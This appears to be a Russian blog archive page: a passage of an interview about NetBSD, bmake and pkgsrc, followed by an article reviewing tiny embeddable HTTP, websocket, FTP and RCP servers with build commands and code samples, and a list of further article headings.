Ну и решил, что вариация make из NetBSD — bmake вполне пригодна для того, чтобы реализовать аналогичный функционал.

Например проверку на существование в системе какой-то функции.

alex0x08

Сделаем запись на фоне этого замечательного места, на память.

Историческое место:

Храм Воскресения Христова на крови́ (Спа́с на Крови́) — православный храм-памятник в Санкт-Петербурге, сооружённый на месте, где 1 марта 1881 года в результате покушения был смертельно ранен император Александр II (выражение на крови указывает на кровь царя).

...

Про autotools

alex0x08

Немного прерву Алексея, чтобы вы понимали контекст.

Autotools — самая глубокая, самая большая жопа, связанная со сборкой проектов со времён создания языка C.

laizoaarz

Не преувеличивай, autotools появился чуть позже.

alex0x08

Ну хорошо, тогда с начала девяностых.

В общем это самая грязная, самая вонючая куча говна, с которой все бегут.

Если вы сделали сборку проекта на этой штуке — гореть вам в аду, что тут скажешь.

Вот этот человек (кивает на Алексея) настолько крут, что попытался создать заменяемый аналог autotools.

laizoaarz

Да, он рабочий на самом деле.

Это работает.

Ещё чуть-чуть добавлю для обывателей.

autotools нужен для того, чтобы сделать проект переносимым на разные платформы — на Solaris, AX, *BSD, на линукс и так далее.

Для того, чтобы сделать приложение на С или С++ портабельным, очень часто возникает необходимость проверки на то, есть ли в системе нужная системная функция и в случае если нет — подставить собственную реализацию.

mk-configure это проект, который это же реализует, но при этом гораздо проще и меньше по объёму чем autotools.

Построен на базе make из NetBSD (bmake), который сильно отличается от более известного GNU Make.

Про NetBSD make

laizoaarz

Но bmake мне нравится больше.

Кстати bmake недавно добавили во FreeBSD и в DragonflyBSD.

Так что из NetBSD тоже время от времени что-то растаскивают по другим проектам.

alex0x08

Третья система сборки..

В FreeBSD и так уже свой вариант make, это получается ещё один.

laizoaarz

Если сравнивать make из NetBSD, OpenBSD и FreeBSD — тот, который был раньше, то честно говоря, вариации make из OpenBSD и FreeBSD вообще ни о чём.

Ими нельзя пользоваться.

Ну прямо совсем неинтересно. bmake значительно богаче по своим возможностям.

Вот такие страшные дела.

NetBSD и nvmm

alex0x08

А какие фишки именно NetBSD ты чаще всего используешь? Что из нового есть интересное?

laizoaarz

Ну например в десятую версию добавили nvmm.

Это штуковина, которая позволяет запускать виртуальные машины без существенной потери производительности.

Гипервизор уровня ядра, вроде KVM в линуксе.

В десятке это наиболее значительная вещь, как мне кажется.

Из нового.

А в целом я её использую, потому что она няшная.

Садишься за FreeBSD и руки трясутся от того, что что-нибудь сейчас развалится. Файловая система полетит или что-нибудь выдаст Segmentation Fault. Садишься за какой-нибудь Solaris и думаешь:

Боже, какое убожество.

alex0x08

Хочешь сказать, у тебя и Солярис ещё остался?

laizoaarz

Ну я по ssh к нему захожу и тестирую свои разработки на Solaris, в том числе. SSH-доступ у меня есть на десятку, на девятку и на одиннадцатую версию.

alex0x08

А это какой именно Solaris? Современный или что-то историческое?

laizoaarz

Есть 10й и 11й на SPARC, это уже Oracle Solaris. Еще есть доступ к Illumos — вчерашний OpenSolaris.

Тестирую на всём, да.

Про старые UNIX

laizoaarz

Поддержка портабельности это то что стараюсь делать и в своих личных проектах тоже.

Для меня слово Unix значит гораздо больше, чем слово Linux для некоторых.

Поэтому все что я делаю, переносимо вплоть до Соляриса, десятого точно.

До портирования на AIX ещё не дошел, есть SSH на такую систему, изучаю особенности системы.

alex0x08

Это очень специфичные системы, которые находятся в режиме глубокого сопровождения, если и выпускаются патчи, то только патчи безопасности.

Как-то так.

laizoaarz

А точно не развивается вообще?

alex0x08

Насколько мне известно нет.

Остатки разработки как HP-UX так и AIX перенесли в Индию. И сейчас все это находится в режиме сопровождения.

laizoaarz

Ну это дорогущие коммерческие системы, коммерческие юниксы, что с ними будет дальше — не знаю.

NetBSD для новичков

alex0x08

Допустим, кто-то сейчас захочет использовать NetBSD — что ему делать?

Как во всю эту историю входить?

laizoaarz

Ну для начала смириться, что NetBSD это не Linux.

Если вы привыкли в линуксе к чему-то, то вам придётся признать, что BSD — любая BSD и NetBSD в частности это не Linux.

Там всё по-другому, абсолютно всё.

Например, там нет вашего любимого systemd. Привыкайте к тому, что его там нет и не будет никогда.

Надеюсь.

alex0x08

Там куда более лютая система.

NetBSD и rc-скрипты

laizoaarz

В NetBSD в 2000м году придумали rc.d.

До этого был просто rc или rc.local, куда руками вписывался запуск необходимых демонов в нужном тебе порядке.

Так вот, в NetBSD сделали rc.d, который тогда же, примерно в начале двухтысячных годов перенесли в FreeBSD.

Так что фрибздшная система скриптов запуска взята изначально из NetBSD.

По-моему, используется там до сих пор.

Она намного проще, чем допустим система скриптов запуска в Линуксе и в Солярисе. И на мой взгляд намного приятнее.

Если бы был адептом Линукса, я бы туда rc.d втащил и был бы счастлив.

alex0x08

На самом деле существуют дистрибутивы с таким rc, вроде Slackware Linux использует такую систему скриптов.

NetBSD и флешки

alex0x08

Ну от systemd честно говоря сам не в восторге, зато вам в NetBSD втащили DBus не так давно. Я его там точно видел.

laizoaarz

Ну, меня он пока не беспокоит, честно говоря.

alex0x08

Ну а как USB-диски подключать? Или ты вручную монтируешь?

laizoaarz

Я всю вручную монтирую, я старпёр, извините.

alex0x08

Всё понятно.

Ну в FreeBSD это всё живёт уже очень давно. Там, слава богу, от HAL (Hardware Abstraction Layer) избавились, оставили только DBus.

laizoaarz

Честно сказать, флешками вообще практически не пользуюсь. При наличии интернета зачем таскать что-то на флешках?

Какие-то физические устройства и на них что-то записывают — я этого не очень понимаю.

То есть у меня проблемы такой нету.

alex0x08

Интернет есть не везде.

laizoaarz

Ну я как-то вот не сталкиваюсь с необходимостью что-то втыкать в свой компьютер, если честно.

alex0x08

Везёт, что тут скажешь.

Вот мы сейчас видео пишем, часть придётся перебрасывать как раз через флешки, потому что оно всё большое.

Алексей и языки программирования

alex0x08

Насколько понимаю, набор языков программирования, которые ты используешь — очень и очень большой.

Расскажи подрастающему поколению.

laizoaarz

В разное время я писал на разном.

Начинал с Pascal. Если взять совсем с детства, то начинал с Focal, BASIC и машинных кодов.

Уже потом, в университете, писал на Паскале.

Первая работа на госконтору была на Turbo Pascal 7.0, от Borland.

Потом C, C++, всякие скрипты, awk, шелл-скрипты, Ruby, Java, Коtlin.

Самый няшный из перечисленного — Kotlin.

Вот такой странный набор.

alex0x08

Спрашивал Алексея заранее насчёт Scala. Как-то так получилось, что Scala при всем этом он обошел стороной.

Удивительно!

Про функциональное программирование

laizoaarz

Я не люблю функциональщину, честно говоря.

Она нерабочая.

Все эти Haskell, они конечно применимы в узких нишах, но для реального использования это всё не годится.

Как-то так сложилось, что я сталкиваюсь с задачами, требовательными к производительности и не могу защищать диссертации по алгоритмам, изобретённым в шестидесятые, пытаясь «натянуть уже на ежа».

Я не буду делать функциональщину там, где мне давно известен императивный алгоритм.

Не буду это делать, поскольку меня просто уволят за такое, если если вдруг не справлюсь.

Kotlin и NetBSD

alex0x08

Кстати, а Kotlin и NetBSD у тебя получается сочетать? Работать с Kotlin непосредственно в NetBSD?

laizoaarz

Вот кстати нет.

Для разработки на Kotlin использую Linux. Не потому что это невозможно в принципе, а потому что просто слишком сложно и долго компилировать среду разработки Intellij Idea для NetBSD.

alex0x08

А я это сделал! Есть сборка Intellij Idea, которая прям работает на NetBSD.

На момент написания текстовой версии, шла работа по сборке Kotlin на FreeBSD — будет в отдельной статье.

laizoaarz

Надо мне это тоже сделать и запакетировать Kotlin наконец.

Алексей и Alt Linux

laizoaarz

С линуксом я знаком намного дольше чем с NetBSD и являюсь давним пользователем Alt Linux тоже.

В него я тоже коммичу, на уровне пакетов.

alex0x08

Опыт, получается — глобальный.

Коль у тебя такой глобальный опыт в качестве коммитера, расскажи как вообще это происходит?

Потому что например у меня часто не получается договориться.

Есть много своих наработок, которые хочется людям выдать, но постоянно что-то мешает. Где-то это сложная регуляция, где-то просто людям пишешь, а они не отвечают.

Как у тебя коммуникация выстраивается?

Проект Heirloom

laizoaarz

Расскажу одну интересную историю.

Есть один проект, называется Heirloom.

Это набор утилит, написанный компанией Caldera давным-давно, на рубеже веков.

И это один из проектов, который я пакетировал в pkgsrc.

Ну и пока я его пакетировал, естественно возникли вопросы к сборке.

Как уже было сказано, pkgsrc это система кроссплатформенная и собирается на всём.

И среди операционных систем, в которых я был заинтересован, была такая система как Interix.

Это такой древний предок WSL, подсистема Unix для Windows.

laizoaarz

Такой был забавный юникс внутри винды, под названием Интерикс.

И вот этот самый Heirloom под Interix не собирался.

Автору прислал патчи и говорю:

Слушай, приложи вот эти штуки. Мне для Interix нужно, чтобы оно собиралось.

Он мне отвечает:

I don't support Windows. До свидания.

Так что взаимодействие бывает и таким, причем регулярно.

Еще часто сталкиваюсь с линуксоидами, которые не заинтересованы в поддержке чего-либо кроме Линукса.

Такие в последнее время встречаются, в целом этот процесс с патчами — долгий и болезненный.

Но если умеешь с буржуями общаться, если достаточно вежлив — всё получается, так или иначе.

alex0x08

Короче если выдаёте патч для известной системы, который исправляет важную проблему — его примут, с большой радостью и охотой.

А если нет, то нет ;)

laizoaarz

Да, это занимает много времени.

Это может кому-то не нравится. Айтишники многие не очень-то любят общаться в принципе.

Поэтому взаимодействовать с людьми, если хочешь что-то добиться, нужно этому учиться. Иногда приходится блин и поуговаривать кого-то.

Не без этого.

Еще про pkgsrc

laizoaarz

Еще из интересного.

Есть контора называется Joyent, которая взялась в своё время сделать поддержку pkgsrc для Illumos (форк OpenSolaris).

И они таки её сделали.

Представляете, под Solaris поддерживается pkgsrc на таком же высоком уровне как и для NetBSD.

В пакетах под Illumos компилируется чуть меньше, чем под NetBSD.

laizoaarz

Когда-то проект DragonflyBSD был на на развилке в выборе пакетной системы, они отказались на тот момент (лет 10 тому назад) от системы портов из FreeBSD.

Они пришли в NetBSD и один чувак Jorg Sonnenberger из NetBSD Community в одиночку, примерно за год обеспечил поддержку pkgsrc на DragonflyBSD, причем на очень высоком уровне.

Под Dragonfly pkgsrc собирал больше пакетов, чем под NetBSD.

Так что комьюнити pkgsrc заинтересовано в портируемости всех своих пакетов на все возможные операционки.

Но есть одна сложность:

человек, пишущий патчи, должен разбираться и в Solaris и в OpenBSD, и в линуксе и делать патч таким образом, чтобы ничего не сломать.

Это сложный процесс, но коммьюнити, которое бережно к этому относится уже сформировалось.

Так что приходите.

alex0x08

А количество пакетов, пакетная база — сколько примерно?

laizoaarz

Точно не скажу, но их намного больше, чем в OpenBSD, хотя конечно меньше, чем в портах FreeBSD.

Что такое WIP

laizoaarz

Есть в pkgsrc точка вхождения, называется WIP.

WIP — сокращение от «Work In Progress», т. е. «находится в разработке».

Куда может прийти любой человек.

Уметь коммитить для этого совершенно не обязательно. И в этом самом WIP есть один ключевой разработчик, которого я уже упомянул — австриец Thomas Klausner.

Приходите к нему, заводите аккаунт.

WIP это площадка для всех новичков.

Тут можно поиграться, запакетировать все чего вам не хватает.

Попросите кого-нибудь из девелоперов, например меня ваш пакет проверить и закоммитить в основную ветку. Если он собирается, то все будет хорошо.

Такая тестовая площадка для всех.

Реальное использование NetBSD

alex0x08

Ещё вопрос.

Про коммерческое.. даже не коммерческое, а просто реальное использование NetBSD, какие-то проекты, компании — кто использует?

laizoaarz

Не слежу за этим делом, мне важнее что эта система нравится лично мне и я её использую.

Но некоторое время назад, лет семь или восемь, случайно узнал, что в Витебский Белтелеком в Беларуси заехало какое-то новое сетевое оборудование.

У которого в руководстве было написано, что в качестве управляющей ОС используется NetBSD.

Реальное использование pkgsrc

laizoaarz

А что касается pkgsrc, то уже упомянутая компания Joyent использует его как родную пакетную систему для Illumos, который они разворачивают у себя в облаке.

Так что pkgsrc имеет коммерческое использование, штатные разработчики Joyent довольно активно коммитят.

И они же предоставляют бинарные репозитории pkgsrc для MacOS и для NetBSD.

alex0x08

При этом, насколько понимаю в пакетах pkgsrc есть очень серьёзные штуки, как минимум у вас есть gcc и clang, со всей сложной обвязкой.

laizoaarz

Конечно.

Честно говоря вообще не понимаю, зачем так много пакетных систем в мире UNIX.

Ведь запакетировав единожды, хотелось бы пользоваться этим везде — в линуксе, во всех BSD, в MacOS.

И pkgsrc решает эту задачу.

Вкладываться условно в Debian означает, что создав пакет для Debian, в OpenSuse его не будет. И в NetBSD его не будет.

Но раз создав пакет для pkgsrc, можно им пользоваться и в OpenBSD и в NetBSD и в линуксе — где угодно. При желании, разворачиваешь в домашний каталог и используешь.

Очень удобно.

Вложился, так вложился.

alex0x08

На самом деле история с кроссплатформенными пакетами стара как мир.

Их пытались делать ещё во времена Unix Wars, когда только-только появлялся открытый софт.

И всё свелось в итоге не к технологиям, а к политике.

Потому что тот, кто контролирует пакеты — создаёт ценность для конечного продукта.

Это не вопрос технологии по большому счёту.

laizoaarz

Ну не знаю. У меня нет проблем с тем, чтобы отслеживать работоспособность моих пакетов на разных ОС.

Сейчас это работает. То есть как бы цель достигнута и всё работает.

alex0x08

Ну а представь какой-нибудь QT так поддерживать?

Или Chromium тот же самый, там же чудовищная кодовая база!

Поддержка разных версий в pkgsrc

laizoaarz

Ну в pkgsrc уже есть много разных пакетов QT, и четвёртый и пятый и шестой. Приходится жить.

Та же самая колбасня с питоном — их поддерживается несколько разных в pkgsrc, одновременно.

Версии 3.9.1, 3.9.2 и так далее.

alex0x08

Ну хоть не 2.7, уже хорошо.

laizoaarz

2.7 вроде уже выпилили.

И Ruby тоже поддерживается несколько разных версий.

Модули для Python собираются в pkgsrc для различных версий питона.

Ну, если кто pip не пользуется или если нужен петон специфичной версии, там 3.1, 3.9, 3.8.

Все это в пакетах, они множатся таким образом.

NetBSD и AI/ML

alex0x08

А кто-то работает с нейросетями, с ML из такого окружения? Из NetBSD?

laizoaarz

Насколько Numpy работает под NetBSD не проверял, потому что не пользуюсь.

alex0x08

А почему Numpy? У Pandas же тоже много чего.

laizoaarz

В Pandas ничего зависимого от операционной системы нет. А вот работает ли Numpy, где есть такие зависимости — вопрос.

Тут есть некоторые вопросы с переносимостью, больное место.

История про джуна и прод

alex0x08

Расскажи эту шутку про джуна, который тебя оторвал от свидания с девушкой.

laizoaarz

Работаю давно, историй у меня забавных много.

Сижу с барышней в пятницу вечером. Ужинаем, с вином. Часов 10 вечера.

Звонит коллега:

Лёша, Лёша, я у тебя баг нашёл!

Спрашиваю:

Какую багу?

Вот там-то и то-то.

Говорит:

я уже починил и выставил в прод..

Честно говоря начинаю охреневать. Какой прод? Какой баг?

Пятница, 10 вечера, я сижу с вином и женщиной.

Начинаю задавать наводящие вопросы.

Кастомер жаловался?

Нет.

Ты знаешь, что у меня тесты написаны?

Нет.

То есть ты не протестировал свой фикс?

Нет.

А ты знаешь, что у нас есть staging-сервера, на которых тестирование проходит перед выкатыванием в прод?

Нет, не не знаю.

А ты помнишь, что сегодня пятница, вечер?

Руки убери от системы.

В понедельник вернёмся на работу, починим.

Ну и в общем, такая вот весёлая история.

alex0x08

Короче, ты его не убил?

laizoaarz

Нет, я его не убил. Но свои патчи он откатил.

Ну и прод восстановил.

Я вернулся в понедельник и спокойно разобрался, что он там нашёл.

В результате ошибка была у него и его решение ломало мои тесты. Он принял за баг то, что так и должно быть.

Никакой ошибки не было.

У меня всё было изначально верно, что и отражали тесты, написанные не «на отвали», а по-взрослому.

На большом объёме все было не раз протестировано.

Так что бывает всякое, да,

Эпилог

alex0x08

Эм..

товарищ сержант не может быть не прав во всём.

Это было в сериале «Доктор Хаус», когда этот самый доктор Хаус выдал реплику про назначенного им сотрудника, что «он может облажаться в деталях, но я не может облажаться во всём».

Тут тоже самое.

Ладно.

С вами был Алексей Чусов, всем привет. Всей BSD-тусовке.

Следующий ролик будет обязательно про FreeBSD, наконец-то я это добью.

Всё господа, всем спасибо, всем пока и до новых встреч!

Выражаем благодарность за помощь с созданием ролика:

Alexey Proschenko

alexey@proschenko.ru

Евгений Симоненко

@easimonenko

Valery Ushakov

@nbuwe

Маленький веб

2026-02-05T09:02:29.127Z

Компактная и портабельная программа, четко выполняющая свое предназначение — редкая для современного мира красота и услада для глаз опытного разработчика.

Именно такие проекты, реализующие различные серверы и клиенты для веба вы найдете в этой статье.

Проект "Sandbird' в действии

Ода миниатюризации

Есть много причин, по которым миниатюрные девушк.. ээ реализации программ заслуживают внимания:

обучение — врядли получится разобраться как устроен вебсервер, перелопачивая исходники монстров вроде Apache или Nginx, спасет только миниатюрная реализация;
основа для собственных проектов — большой объем чужого исходного кода под капотом вашего проекта будет висеть гирей и отвлекать ресурсы на поддержку, в отличие от чего-то маленького и простого;
борьба с энтропией — популярные библиотеки постоянно растут и раздуваются, при этом объем используемого функционала не особо меняется. Таким образом, большая часть кода в современном проекте с кучей внешних библиотек не используется никогда.

Разумеется есть определенные риски использования таких «наколенных» библиотек, связанные с неполной реализацией, безопасностью, работой под нагрузкой и так далее.

Но говоря откровенно, всего этого ныне хватает с головой и в больших популярных реализациях.

Еще с опытом приходит понимание, что любая программа — не более чем инструмент а реальную опасность, как и сто лет назад, представляют живые люди, не машины.

Тестовое окружение

Не стал опять заморачиваться с BSD, чтобы в третий раз не описывать специальную прослойку epoll-shim, позволяющую быстро и более-менее безболезненно портировать серверный софт с линукса.

На этот раз в качестве тестового окружения выступает обычная Ubuntu 25.10, хотя и с немного нестандартным ядром.

Компилятором выступит штатный GCC:

gcc version 15.2.0 (Ubuntu 15.2.0-4ubuntu4)

Поехали смотреть интересное!

Sandbird

https://github.com/rxi/sandbird/tree/master

Начнем погружение с весьма практичного проекта:

A tiny (~800sloc) embeddable HTTP server written in C89, compatible with Linux, OSX and Windows.

800 строк на чистом С, причем наиболее портабельного стандарта С89, c поддержкой Windows, Linux и MacOS — отличный набор для реального применения, например в качестве встроенного вебсервера.

Например в каком-нибудь устройстве.

Один из примеров, демонстрирующих работу этой библиотеки — на заглавном скриншоте к статье, причем показана обработка формы.

Вот так выглядит сборка примера:

cd example
gcc hello.c ../src/*.c -I../src -std=c89 -pedantic -Wall -Wextra -o hello

Так выглядит код тестового приложения с использованием этой библиотеки:

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include "sandbird.h"

static int event_handler(sb_Event *e) {
  if (e->type == SB_EV_REQUEST) {
    printf("%s - %s %s\n", e->address, e->method, e->path);
    sb_send_status(e->stream, 200, "OK");
    sb_send_header(e->stream, "Content-Type", "text/plain");
    sb_writef(e->stream, "Hello world");
  }
  return SB_RES_OK;
}

int main(void) {
  sb_Options opt;
  sb_Server *server;

  memset(&opt, 0, sizeof(opt));
  opt.port = "8000";
  opt.handler = event_handler;
  server = sb_new_server(&opt);

  if (!server) {
    fprintf(stderr, "failed to initialize server\n");
    exit(EXIT_FAILURE);
  }
  printf("Server running at http://localhost:%s\n", opt.port);

  for (;;) {
    sb_poll_server(server, 1000);
  }
  sb_close_server(server);
  return EXIT_SUCCESS;
}

Важный нюанс:

сервер не использует многопоточность, все клиентские обработчики работают в одном потоке.

но с неблокирующими сокетами:

..
static void set_socket_non_blocking(sb_Socket sockfd) {
#ifdef _WIN32
  u_long mode = 1;
  ioctlsocket(sockfd, FIONBIO, &mode);
#else
  int flags = fcntl(sockfd, F_GETFL);
  fcntl(sockfd, F_SETFL, flags | O_NONBLOCK);
#endif
}
..

webs

https://github.com/nicholascok/webs

Следующий интересный и даже в чем-то уникальный проект, с лаконичным описанием:

a simple websocket server library.

реализует с помощью ~700 строк на С89.. серверные вебсокеты!

Вебсокеты это чаты, это «live-streaming», например отображение логов в реальном времени и тому подобные динамические штуки.

Так это выглядит в работе:

Статику отдает пример из предыдущего проекта.

Так выглядит сборка тестового приложения:

gcc -c *.c examples/test.c -Wall -Wextra -Wpedantic -Wno-overlength-strings -std=c89
gcc -o webs *.o -lpthread

Как нетрудно догадаться по -lpthread, тут уже используется многопоточность на базе POSIX threads:

..
static void* __webs_main(void* _srv) {
	webs_server* srv = (webs_server*) _srv;
	webs_client* user_ptr;
	webs_client user;
	
	for (;;) {
		user.fd = __webs_accept_connection(srv->soc, &user);
		user.srv = srv;		
		if (user.fd >= 0) {
			user_ptr = __webs_add_client(srv, user);
			pthread_create(&user_ptr->thread, 0, __webs_client_main,
			 user_ptr);
		}
	}	
	return NULL;
}
..

К сожалению этот интересный проект по большей части прототип, иллюстрирующий как можно ~~на коленке~~ без внешних библиотек реализовать серверную сторону вебсокетов на чистом С.

В случае реального использования, столь вольное использование malloc для обработки входящих пакетов быстро превратится в проблему:

..
/* deal with normal frames (non-fragmented) */
		if (WEBSFR_GET_OPCODE(frm.info) != 0x0) {
			/* read data */
			if (data) free(data);
			data = malloc(frm.length + 1);
..

А вот так выглядит сокращенная версия тестового сервера для вебсокетов, c минимумом обработчиков:

#include "../webs.h"

int myFuncZ(webs_client* self) {
	printf("server %ld: (id %ld) connected!\n", 
	       self->srv->id, self->id);
	webs_send(self, "greetings, salutations!");
	return 0;
}
int myFunc2(webs_client* self) {
	printf("server %ld: (id %ld) disconnected!\n", 
	         self->srv->id, self->id);
	return 0;
}
int main(void) {
	webs_server* server1 = webs_start(7754);	
	if (!server1) {
		printf("failed to initialise a server.\n");
		return 1;
	}
	server1->events.on_open = myFuncZ;
	server1->events.on_close = myFunc2;
	
	webs_hold(server1);	
	webs_close(server1);	
	return 0;
}

Как видно из кода выше, все интересное происходит именно в обработчиках, где собственно и будет находиться ваша собственная логика, если вдруг решитесь использовать эту библиотеку.

Повторюсь, что весь этот проект, несмотря на всю свою интересность — сырой прототип и тащить в прод подобный код "as-is" точно не стоит.

Собирается только для Linux и только с помощью gcc.

Прототип как он есть.

cpp-httplib

https://github.com/yhirose/cpp-httplib

Это уже более зрелая библиотека:

A C++ header-only HTTP/HTTPS server and client library

11к строк кода на C++11 и несколько зависимостей от внешних библиотек:

pthreads, brotli, OpenSSL, zlib

реализуют весьма продвинутый HTTP/HTTPS сервер и клиент, причем фактически в одном файле.

Есть поддержка сборки как на Linux так и Windows, причем для второй есть готовый проект для Visual Studio.

Разумеется это не мейнстрим и к качеству есть вопросы, зато все уместилось в очень небольшом коде, без особых ухищрений по миниатюризации и потому вполне читаемому.

Так выглядит сборка тестового сервера, использующего эту библиотеку:

g++ -o server -O2 -std=c++11 -I.. -Wall -Wextra -pthread \
  server.cc -DCPPHTTPLIB_OPENSSL_SUPPORT -lssl -lcrypto \
  -DCPPHTTPLIB_ZLIB_SUPPORT -lz -DCPPHTTPLIB_BROTLI_SUPPORT \
  -lbrotlicommon -lbrotlienc -lbrotlidec

Несложно догадаться по флагам вроде CPPHTTPLIB_ZLIB_SUPPORT, что большая часть зависимостей отключаема.

Еще думаю, заблудиться в 11к строчках кода и одном единственном файле будет проблематично даже у ~~нейросети~~ не самых опытных «плюсолюбов».

Так выглядит серверный «Hello, world!»:

#include <httplib.h>
using namespace httplib;

int main(void) {
  Server svr;

  svr.Get("/hi", [](const Request & /*req*/, Response &res) {
    res.set_content("Hello World!", "text/plain");
  });

  svr.listen("0.0.0.0", 8080);
}

В лучших традициях Django или Rails, тут есть маршрутизация запросов и привязка к URL — в данном случае обработчик связывается с урлом /hi.

Вот так выглядит обработка загрузки файлов с помощью формы и POST-запроса:

#include <fstream>
#include <httplib.h>
#include <iostream>
using namespace httplib;
using namespace std;

const char *html = R"(
<form id="formElem">
  <input type="file" name="image_file" accept="image/*">
  <input type="file" name="text_file" accept="text/*">
  <input type="submit">
</form>
<script>
  formElem.onsubmit = async (e) => {
    e.preventDefault();
    let res = await fetch('/post', {
      method: 'POST',
      body: new FormData(formElem)
    });
    console.log(await res.text());
  };
</script>
)";

int main(void) {
  Server svr;

  svr.Get("/", [](const Request & /*req*/, Response &res) {
    res.set_content(html, "text/html");
  });

  svr.Post("/post", [](const Request &req, Response &res) {
    const auto &image_file = req.form.get_file("image_file");
    const auto &text_file = req.form.get_file("text_file");

    cout << "image file length: " << image_file.content.length() << endl
         << "image file name: " << image_file.filename << endl
         << "text file length: " << text_file.content.length() << endl
         << "text file name: " << text_file.filename << endl;
    {
      ofstream ofs(image_file.filename, ios::binary);
      ofs << image_file.content;
    }
    {
      ofstream ofs(text_file.filename);
      ofs << text_file.content;
    }

    res.set_content("done", "text/plain");
  });

  svr.listen("localhost", 1234);
}

Так это выглядит в действии:

Разумеется подобный функционал — не откровение, особенно на 2026й год, но блин господа офицеры:

11к строк кода на все красоты!

Теперь переходим к миниатюрным реализациям протокола FTP — для передачи файлов, если кто вдруг забыл.

tiny_ftpserver

https://github.com/adamwym/tiny_ftpserver

Вот такой «игрушечный» проект:

a tiny FTP server written in C++

всего 1.5к строк на С++11 от безвестного китайского автора реализуют полнофункциональный FTP/FTPS-сервер:

с chroot, поддержкой локальных и анонимных юзеров и всем прочим.

FTPS это довольно редко встречающееся расширение протокола FTP, с поддержкой шифрования передачи данных. Не набравшее большой популярности ввиду появления SFTP и органичений самого FTP.

Так это выглядит в работе:

Проект использует известную библиотеку libnet, о чем автор забыл сообщить:

apt install libnet1-dev

Cборка происходит с помощью cmake:

mkdir build && cd build
cmake ..

Реализация FTP-сервера тут максимально классическая — используется chroot, а использование 21 и 20 портов зашито в код:

..
int socketfd = socket(AF_INET, SOCK_STREAM | SOCK_NONBLOCK, 0);
struct sockaddr_in server_addr;
memset(&server_addr, 0, sizeof(server_addr));
server_addr.sin_port = htons(21);
server_addr.sin_family = AF_INET;
server_addr.sin_addr.s_addr = INADDR_ANY;
..

Все это означает, что запускать сервер придется от суперпользователя:

sudo ./tiny_ftpserver ../tiny_ftpserver.conf

У этого проекта есть один неожиданный нюанс:

на самом деле это.. студенческая работа.

И подобных проектов на Github оказалось великое множество.

Так что далеко не везде в 2026м году забыли что такое высшее техническое образование, что не может не радовать.

fineFTP Server

https://github.com/eclipse-ecal/fineftp-server

Следующий интересный и весьма редкий проект:

FineFTP is a minimal FTP server library for Windows and Unix flavors.

~2k строк на С++14 реализуют FTP-сервер в виде.. библиотеки!

В этом и есть основной прикол — возможность встроить FTP (причем сервер а не клиент) в ваш собственный проект.

Так выглядит код примера, с внедрением FTP-сервера:

#include <fineftp/server.h>
#include <thread>
 
int main() {
  // Create an FTP Server on port 2121. We use 2121 instead of the default port
  // 21, as your application would need root privileges to open port 21.
  fineftp::FtpServer ftp_server(2121);
 
  // Add the well known anonymous user. Clients can log in using username
  // "anonymous" or "ftp" with any password. The user will be able to access
  // your C:\ drive and upload, download, create or delete files. On Linux just
  // replace "C:\\" with any valid path. FineFTP is designed to be cross-platform.
  ftp_server.addUserAnonymous("C:\\", fineftp::Permission::All);
  
  // Start the FTP Server with a thread-pool size of 4.
  ftp_server.start(4);
 
  // Prevent the application from exiting immediately
  for (;;) std::this_thread::sleep_for(std::chrono::milliseconds(100));
  return 0;
}

Зачем и для чего такое может быть нужно — другой вопрос, все же обычно работу с файлами в конечном приложении (например обновление прошивки) стараются реализовать в виде клиента и через HTTP/HTTPS.

Но с точки зрения использования все отлично работает:

Это хорошая, взрослая библиотека, с несколькими коммитерами, с историей разработки, которая активно поддерживается и развивается.

Старого цирка с chroot и 21м портом тут нет, поэтому все работает без привилегий суперпользователя — на скриншоте выше как раз видно использование нестандартного порта для работы.

Поддерживается сборка для Linux, MacOS и Windows c приоритетом для последней.

Отличный проект, но далеко не последний в сегодняшней подборке.

rcpd

https://github.com/tenox7/rcpd

Этот проект — привет из далекого и славного прошлого:

This is a modern re-implementation of rcp (remote copy protocol) daemon, originally part berkeley r-commands.

Да, это самый настоящий сервер RCP, всего 300 строк на Golang от знаменитого в узких кругах компьютерных реконструкторов автора Tenox.

RCP это такой устаревший протокол передачи файлов между компьютерами с UNIX, уже мало пригодный для использования в современных реалиях ввиду отсутствия какого-либо шифрования и авторизации.

Крайне актуальный, если имеете дело с устаревшим оборудованием или встраиваемыми системами, которые до сих пор используют именно rcp для загрузки прошивок по сети.

Возвращаясь к проекту:

rcpd от Tenox реализует серверную сторону — сервер RCP

К которому подключаются клиенты для загрузки или скачивания файлов.

Так выглядит процесс копирования файла, в качестве клиента тут rcp из пакета GNU Inetutils:

Как видите и клиент и сервер запускаются от суперпользователя — такие были времена, RCP использует 514 порт, который нельзя занять без привилегий.

Сборка:

go build -o rcpd .

Кстати в Makefile проекта есть поддержка кроссплатформенных сборок, с весьма богатым выбором:

Стоит добавить, что протокол RCP сам по себе очень простой и не менялся весь период своего существования, что позволяет подключаться к этому RCP-серверу даже с помощью клиентских программ из 80х и 90х.

За кадром

Детально разобрать удалось лишь малую часть интересных находок, поэтому ниже буквально одной строкой про интересные миниатюрные, точно заслуживающие внимания.

url.c

https://github.com/cozis/url.c/

Парсер строк URL на чистом С и без зависимостей:

This is a small library to parse and manipulate URLs in conformance to RFC 3986 and (most of) the WHATWG specification.

Что умеет:

No allocations
No dependencies
The ability to switch between RFC 3986 and WHATWG with a flag
Relative reference parsing and resolution
URL normalization
Doesn't rely on null-terminated strings

LightFTP

https://github.com/hfiref0x/LightFTP

Еще один интересный проект миниатюрного FTP-сервера:

Small x86-32/x64 FTP Server

Поддерживается сборка под Linux/Windows/Mac, сам проект не мертвый и судя по коммитам - развивается.

uftpserver

https://github.com/cpopp/MicroFTPServer

Весьма специфичная реализация FTP-сервера для встраиваемых систем:

Minimal FTP Server that can run on an ESP8266 with MicroPython

Так я впервые узнал о существовании «микропетона» — давно существующего проекта, с огромным количеством поддерживаемого железа и широким функционалом.

Ну и в качестве финального аккорда:

https://github.com/mtheall/ftpd

FTP Server for 3DS/Switch/Linux.

Реализация FTP-сервера для.. Nintendo Switch!

Это такая игровая консоль ~~для задротов~~ если кто вдруг не в курсе:

Alex Chernyshev

Мой маленький мониторинг

Задача

Реализация

Исходный код

Запускаем MarkText на FreeBSD

Очко электрона

MarkText

Скотская сборка

Март, Jetty и утекшая память

Статус

Уязвимость

Зона риска

Исправление

Демонстрация

Тестовое приложение

Тестовый Jetty

Запрос-убийца

Про OutOfMemory

Эпилог

Рекомендации

Веселые каникулы

1. НАТ. ПОДВОРОТНЯ.

2. ИНТ. МАШИНА В ДВИЖЕНИИ.

